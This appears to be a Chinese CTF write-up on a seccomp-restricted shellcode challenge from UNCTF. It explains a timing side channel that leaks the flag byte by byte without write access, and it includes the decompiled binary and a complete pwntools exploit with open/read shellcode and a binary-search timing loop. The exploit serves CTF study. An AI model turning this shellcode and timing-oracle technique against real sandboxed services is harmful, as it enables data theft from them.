做SCTF时碰到一个没看过的题型,比赛结束之后才知道是orw的一个玩法,测信道攻击。主要特点就是只给使用open,read,但是不给write,即无法把flag输出到终端。这里可以通过把flag读到栈上,再逐个爆破比较,来确定flag。原理和web的时间盲注类似。

下面给出一个UNCTF的测信道攻击的例题:

 1 __int64 __fastcall main(__int64 a1, char **a2, char **a3)
2 {
3 unsigned int v3; // eax
4 __int64 v5; // [rsp+50h] [rbp-40h]
5 __int64 v6; // [rsp+58h] [rbp-38h]
6 __int128 buf; // [rsp+60h] [rbp-30h] BYREF
7 __int64 v8; // [rsp+70h] [rbp-20h]
8 unsigned __int64 v9; // [rsp+80h] [rbp-10h]
9
10 v9 = __readfsqword(0x28u);
11 sub_AE0(a1, a2, a3);
12 buf = 0LL;
13 v8 = 0LL;
14 puts("Are you a shellcode master?");
15 alarm(0x14u);
16 v3 = getpagesize();
17 v6 = (int)mmap((void *)0x1000, v3, 7, 34, 0, 0LL);
18 read(0, &buf, 0x18uLL);
19 prctl(38, 1LL, 0LL, 0LL, 0LL);
20 v5 = seccomp_init(0LL);
21 seccomp_rule_add(v5, 2147418112LL, 15LL, 0LL);
22 seccomp_rule_add(v5, 2147418112LL, 2LL, 0LL);
23 seccomp_rule_add(v5, 2147418112LL, 0LL, 0LL);
24 seccomp_rule_add(v5, 2147418112LL, 10LL, 0LL);
25 seccomp_load(v5);
26 *(_QWORD *)(v6 + 16) = v8;
27 *(_OWORD *)v6 = buf;
28 ((void (__fastcall *)(__int64, __int64))v6)(3735928559LL, 4919LL);
29 return 0LL;
30 }

主函数的开头mmap了一块大空间,然后读入数据到buf,接着会把分配的那块内存的开头赋为我们刚刚读入的内容,并且执行。

读入的0x18并不足够写入整个orw_shellcode,所以我们先写入一个shellcode来读取内容,再进行爆破。

下面是exp:

 1 import time
2 from pwn import *
3
4 context.arch='amd64'
5
6 def getshellcode():
7 global s
8 shellcode = '''
9 mov rdi, 0
10 mov rsi, 0x10018
11 mov rdx, 0x250
12 syscall
13 nop
14 '''
15 s.recvline()
16 s.send(asm(shellcode))
17 sleep(0.1)
18
19 def pwn():
20 global s
21 flag = ''
22 count = 1
23 for i in range (len(flag),0x50):
24 left = 32
25 right = 127
26 while left < right:
27 s = process('./ezshell')
28 #s = remote('node2.hackingfor.fun',38235)
29 getshellcode()
30 mid = (left + right) >> 1
31 orw_shellcode = f'''
32 mov rdi, 0x67616c662f2e
33 push rdi
34 mov rdi, rsp
35 mov rsi, 0
36 mov rdx, 0
37 mov rax, 2
38 syscall
39 mov rdi, 3
40 mov rsi, rsp
41 mov rdx, 0x100
42 mov rax, 0
43 syscall
44 mov dl, byte ptr [rsp+{i}]
45 mov cl, {mid}
46 cmp dl, cl
47 ja loop
48 ret
49 loop:
50 jmp loop
51 '''
52 s.sendline(asm(orw_shellcode))
53 start_time = time.time()
54 try:
55 s.recv(timeout=0.2)
56 if(time.time() - start_time > 0.1):
57 left = mid + 1
58 except:
59 right = mid
60 s.close()
61 log.info('time-->'+str(count))
62 log.info(flag)
63 count +=1
64 flag += chr(left)
65 log.info(flag)
66 if(flag[-1] == '}'):
67 break
68 pwn()
69 s.interactive()

题目附件
提取码:2efj

ORW-测信道攻击的更多相关文章

  1. 嵌入式 -- WINKHUB 边信道攻击 (NAND Glitch)

    0x00 前言 随着物联网IOT的飞速发展,各类嵌入式设备, 路由器安全研究也越来越火. 但因为跟以往纯软件安全研究的要求不同, 这类研究往往需要结合相应的硬件知识. 很多朋友困惑如何开始, 甚至卡在 ...

  2. intel:spectre&Meltdown侧信道攻击(三)—— raw hammer

    今天介绍raw hammer攻击的原理:这次有点“标题党”了.事实上,raw hammer是基于DRAM内存的攻击:所以理论上,只要是用了DRAM内存的设备,不论是什么cpu(intel.amd,或则 ...

  3. intel:spectre&Meltdown侧信道攻击(一)

    只要平时对安全领域感兴趣的读者肯定都听过spectre&Meltdown侧信道攻击,今天简单介绍一下这种攻击的原理( https://www.bilibili.com/video/av1814 ...

  4. 第四十三个知识点:为AES描述一些基础的(可能无效)的对抗侧信道攻击的防御

    第四十三个知识点:为AES描述一些基础的(可能无效)的对抗侧信道攻击的防御 原文地址:http://bristolcrypto.blogspot.com/2015/07/52-things-numbe ...

  5. 第四十五个知识点:描述一些对抗RSA侧信道攻击的基础防御方法

    第四十五个知识点:描述一些对抗RSA侧信道攻击的基础防御方法 原文地址:http://bristolcrypto.blogspot.com/2015/08/52-things-number-45-de ...

  6. 侧信道攻击,从喊666到入门之——Unicorn的环境构建

    作者:backahasten 发表于小米安全中心微信公众号 0x00 前言 Unicorn可以模拟多种指令集的代码,在很多安全研究领域有很强大的作用,但是由于需要从头自己布置栈空间,代码段等虚拟执行环 ...

  7. intel:spectre&Meltdown侧信道攻击(四)—— cache mapping

    前面简单介绍了row hammer攻击的原理和方法,为了更好理解这种底层硬件类攻击,今天介绍一下cpu的cache mapping: 众所周知,cpu从内存读数据,最开始用的是虚拟地址,需要通过分页机 ...

  8. intel:spectre&Meltdown侧信道攻击(二)

    上面一篇介绍了spectre&meltdown基本原理和简单的demo方案,今天继续学习一下该漏洞发现团队原始的POC:https://spectreattack.com/spectre.pd ...

  9. intel:spectre&Meltdown侧信道攻击(五)—— DRAM address mapping

    前面介绍了row hammer,理论上很完美,实际操作的时候会面临很尴尬的问题:内存存储数据最小的单位是cell(就是个电容,充电是1,放电是0),无数个横着的cell组成row,无数个竖着的cell ...

随机推荐

  1. 关于stm32不常用的中断,如何添加, 比如timer10 timer11等

    首先可以从keil中找到 比如找到定时器11的溢出中断,如上图是26 然后,配置定时器11 溢出中断的时候,我就在:下面填上这个变量. 之后要写中断服务函数,也就是发生中断后要跳转到的函数. 需要知道 ...

  2. Assertion failure in -[UISectionRowData refreshWithSection:tableView:tableViewRowData:], /Source

    1. *** Assertion failure in -[UISectionRowData refreshWithSection:tableView:tableViewRowData:], /Sou ...

  3. i++ 和 ++i 探究原理

    先看一个例子: package com.test; public class AutoIncrement { public static void main(String[] args) { int ...

  4. QQ表情的添加

    <!DOCTYPE html><html><head> <meta charset="UTF-8" /> <title> ...

  5. BS版本的TCP程序

    // 使用Socket对象中的方法getInputStream,获取到网络字节输入流InputStream对象 InputStream is = socket.getInputStream();// ...

  6. 解决tensorflow和keras版本不相匹配的问题

    查看安装版本 pip list https://docs.floydhub.com/guides/environments/ 查看对应版本 我感觉是我tensorflow版本装太高了,keras没有

  7. 正则表达式入门(js版)

    什么是正则表达式 正则表达式 Regular Expression (构造函数 RegExp) 用于字符串匹配规则 要么匹配字符,要么匹配位置 如何新建正则表达式 字面量 /[ab]/gim cons ...

  8. shell脚本 awk实现实时监控网卡流量

    一.简介 通过第3方工具获得网卡流量,这个大家一定很清楚.其实通过脚本一样可以实现效果.下面是我个人工作中整理的数据.以下是shell脚本统计网卡流量. 现原理: cat /proc/net/dev ...

  9. [BUUCTF]REVERSE——[V&N2020 公开赛]strangeCpp

    [V&N2020 公开赛]strangeCpp 附加 步骤 查壳,无壳,64位程序 64位ida载入,没有main函数,根据程序里的字符串,去查看函数 __int64 __fastcall s ...

  10. [BUUCTF]PWN——bjdctf_2020_babyrop2

    bjdctf_2020_babyrop2 附件 步骤: 例行检查,64位程序,开启了NX和canary保护 2. 试运行一下程序,看看大概的情况 提示我们去泄露libc 3. 64位ida载入,从ma ...